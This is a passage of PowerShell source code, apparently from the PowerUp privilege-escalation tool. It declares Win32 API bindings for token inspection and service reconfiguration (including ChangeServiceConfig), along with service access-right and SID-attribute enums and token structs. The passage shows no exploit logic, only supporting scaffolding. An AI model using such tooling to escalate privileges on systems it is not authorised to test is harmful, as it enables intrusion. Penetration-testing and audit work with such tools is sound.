3939 (func advapi32 OpenProcessToken ([Bool]) @( [IntPtr], [UInt32], [IntPtr].MakeByRefType()) -SetLastError)
3940 (func advapi32 GetTokenInformation ([Bool]) @([IntPtr], [UInt32], [IntPtr], [UInt32], [UInt32].MakeByRefType()) -SetLastError),
3941 (func advapi32 ConvertSidToStringSid ([Int]) @([IntPtr], [String].MakeByRefType()) -SetLastError),
3942 (func advapi32 QueryServiceObjectSecurity ([Bool]) @([IntPtr], [Security.AccessControl.SecurityInfos], [Byte[]], [UInt32], [UInt32].MakeByRefType()) -SetLastError),
3943 (func advapi32 ChangeServiceConfig ([Bool]) @([IntPtr], [UInt32], [UInt32], [UInt32], [String], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [IntPtr]) -SetLastError -Charset Unicode),
3944 (func advapi32 CloseServiceHandle ([Bool]) @([IntPtr]) -SetLastError)
3945)
3946
3947# https://rohnspowershellblog.wordpress.com/2013/03/19/viewing-service-acls/
3948$ServiceAccessRights = psenum $Module PowerUp.ServiceAccessRights UInt32 @{
3949 QueryConfig = '0x00000001'
3950 ChangeConfig = '0x00000002'
3951 QueryStatus = '0x00000004'
3952 EnumerateDependents = '0x00000008'
3953 Start = '0x00000010'
3954 Stop = '0x00000020'
3955 PauseContinue = '0x00000040'
3956 Interrogate = '0x00000080'
3957 UserDefinedControl = '0x00000100'
3958 Delete = '0x00010000'
3959 ReadControl = '0x00020000'
3960 WriteDac = '0x00040000'
3961 WriteOwner = '0x00080000'
3962 Synchronize = '0x00100000'
3963 AccessSystemSecurity = '0x01000000'
3964 GenericAll = '0x10000000'
3965 GenericExecute = '0x20000000'
3966 GenericWrite = '0x40000000'
3967 GenericRead = '0x80000000'
3968 AllAccess = '0x000F01FF'
3969} -Bitfield
3970
3971$SidAttributes = psenum $Module PowerUp.SidAttributes UInt32 @{
3972 SE_GROUP_ENABLED = '0x00000004'
3973 SE_GROUP_ENABLED_BY_DEFAULT = '0x00000002'
3974 SE_GROUP_INTEGRITY = '0x00000020'
3975 SE_GROUP_INTEGRITY_ENABLED = '0xC0000000'
3976 SE_GROUP_MANDATORY = '0x00000001'
3977 SE_GROUP_OWNER = '0x00000008'
3978 SE_GROUP_RESOURCE = '0x20000000'
3979 SE_GROUP_USE_FOR_DENY_ONLY = '0x00000010'
3980} -Bitfield
3981
3982$SID_AND_ATTRIBUTES = struct $Module PowerUp.SidAndAttributes @{
3983 Sid = field 0 IntPtr
3984 Attributes = field 1 UInt32
3985}
3986
3987$TOKEN_GROUPS = struct $Module PowerUp.TokenGroups @{
3988 GroupCount = field 0 UInt32
3989 Groups = field 1 $SID_AND_ATTRIBUTES.MakeArrayType() -MarshalAs @('ByValArray', 32)
3990}
3991
3992$Types = $FunctionDefinitions | Add-Win32Type -Module $Module -Namespace 'PowerUp.NativeMethods'
3993$Advapi32 = $Types['advapi32']
3994$Kernel32 = $Types['kernel32']